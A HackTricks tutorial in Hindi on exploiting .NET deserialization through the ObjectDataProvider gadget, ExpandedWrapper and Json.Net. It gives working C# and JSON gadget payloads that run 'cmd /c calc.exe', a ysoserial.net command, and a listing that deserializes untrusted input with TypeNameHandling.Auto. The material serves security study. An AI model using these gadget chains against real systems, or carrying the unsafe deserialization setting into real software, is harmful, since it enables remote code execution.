16 KiB
बेसिक .Net डिसीरियलाइज़ेशन (ObjectDataProvider गैजेट, ExpandedWrapper, और Json.Net)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का** अनुसरण करें।**
- अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके अपना योगदान दें।
इस पोस्ट का उद्देश्य है समझना कि ObjectDataProvider गैजेट कैसे उपयोग किया जाता है ताकि RCE प्राप्त किया जा सके और Serialization पुस्तकालय Json.Net और xmlSerializer का दुरुपयोग कैसे किया जा सकता है उस गैजेट के साथ।
ObjectDataProvider गैजेट
दस्तावेज़ीकरण से: ObjectDataProvider कक्षा एक ऑब्जेक्ट को लपेटती है और बाइंडिंग स्रोत के रूप में उपयोग करने के लिए एक ऑब्जेक्ट बनाती है।
हाँ, यह एक अजीब समझ है, इसलिए चलो देखते हैं कि इस कक्षा में क्या है जो इतना दिलचस्प है: यह कक्षा एक विषम ऑब्जेक्ट को लपेटने की अनुमति देती है, MethodParameters का उपयोग करके विषम पैरामीटर सेट करने के लिए और फिर MethodName का उपयोग करके विषम ऑब्जेक्ट के विषम फ़ंक्शन को कॉल करने के लिए।
इसलिए, विषम ऑब्जेक्ट डिसीरियलाइज़ होते समय एक फ़ंक्शन को पैरामीटर के साथ निष्पादित करेगा।
यह कैसे संभव है
ObjectDataProvider को System.Windows.Data नामक नेमस्पेस में परिभाषित और लागू किया गया है, जो PresentationFramework.dll में स्थित है (C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF).
dnSpy का उपयोग करके आप इंटरेस्टेड कक्षा के कोड की जांच कर सकते हैं। नीचे दी गई छवि में हम PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name के कोड को देख रहे हैं
जैसा कि आप देख सकते हैं जब MethodName
सेट होता है तो base.Refresh()
को कॉल किया जाता है, चलो देखते हैं कि यह क्या करता है:
ठीक है, चलो देखते हैं कि this.BeginQuery()
क्या करता है। BeginQuery
को ObjectDataProvider
द्वारा ओवरराइड किया गया है और यह क्या करता है:
कोड के अंत में ध्यान दें कि यह this.QueryWorke(null)
को कॉल कर रहा है। चलो देखते हैं कि यह क्या निष्पादित करता है:
ध्यान दें कि यह फ़ंक्शन QueryWorker
का पूरा कोड नहीं है लेकिन यह इसका दिलचस्प हिस्सा दिखा रहा है: कोड this.InvokeMethodOnInstance(out ex);
को कॉल करता है यह वह लाइन है जहां सेट किया गया मेथड निष्पादित होता है।
यदि आप यह सत्यापित करना चाहते हैं कि MethodName सेट करने पर यह निष्पादित होगा, तो आप इस कोड को चला सकते हैं:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
नोट करें कि आपको System.Windows.Data
लोड करने के लिए C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll को संदर्भ में जोड़ना होगा।
ExpandedWrapper
पिछले उत्पादन का उपयोग करके ऐसे मामलों में होगा जहां ऑब्जेक्ट को ObjectDataProvider के रूप में डिसीरियलाइज़ किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करके ऑब्जेक्ट को GetType
का उपयोग करके डिसीरियलाइज़ किया गया था)। फिर, ObjectDataProvider इंस्टेंस में छिपे ऑब्जेक्ट के प्रकार के बारे में कोई ज्ञान नहीं होगा (Process
उदाहरण के लिए)। आप यहां DotNetNuke vuln के बारे में अधिक जानकारी देख सकते हैं।
यह कक्षा एक दिए गए इंस्टेंस में छिपे ऑब्जेक्टों के ऑब्जेक्ट प्रकार को निर्दिष्ट करने की अनुमति देती है। इसलिए, इस कक्षा का उपयोग एक स्रोत ऑब्जेक्ट (ObjectDataProvider) को एक नए ऑब्जेक्ट प्रकार में छिपाने और हमें आवश्यक गुण (ObjectDataProvider.MethodName और ObjectDataProvider.MethodParameters) प्रदान करने के लिए किया जा सकता है।
यह पहले प्रस्तुत किए गए मामलों के लिए बहुत उपयोगी होता है, क्योंकि हम ObjectDataProvider को ExpandedWrapper इंस्टेंस के भीतर छिपा सकते हैं और जब डिसीरियलाइज़ किया जाएगा तो यह कक्षा MethodName में निर्दिष्ट कार्य को निष्पादित करने वाला OjectDataProvider ऑब्जेक्ट बनाएगी।
आप निम्नलिखित कोड के साथ इस व्रैपर की जांच कर सकते हैं:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
आधिकारिक वेब पेज में इसका उल्लेख किया गया है कि यह पुस्तकालय Json.NET के शक्तिशाली JSON सीरियलाइज़र के साथ किसी भी .NET ऑब्जेक्ट को सीरियलाइज़ और डीसीरियलाइज़ करने की अनुमति देती है। इसलिए, यदि हम ObjectDataProvider गैजेट को डीसीरियलाइज़ कर सकें, तो हम एक ऑब्जेक्ट को डीसीरियलाइज़ करके एक RCE का कारण कर सकते हैं।
Json.Net उदाहरण
सबसे पहले चलिए देखते हैं कि इस पुस्तकालय का उपयोग करके एक ऑब्जेक्ट को सीरियलाइज़/डीसीरियलाइज़ कैसे किया जाता है:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net का दुरुपयोग
ysoserial.net का उपयोग करके मैंने एक अपशिष्ट बनाया है:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
इस कोड में आप एक्सप्लॉइट का परीक्षण कर सकते हैं, इसे चलाएं और आप देखेंगे कि एक कैल्क चलाया जाता है:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करना चाहिए? सदस्यता योजनाएं की जांच करें!
- खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
- प्राप्त करें आधिकारिक PEASS & HackTricks swag
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह में फॉलो करें या Twitter पर 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो को PR जमा करके।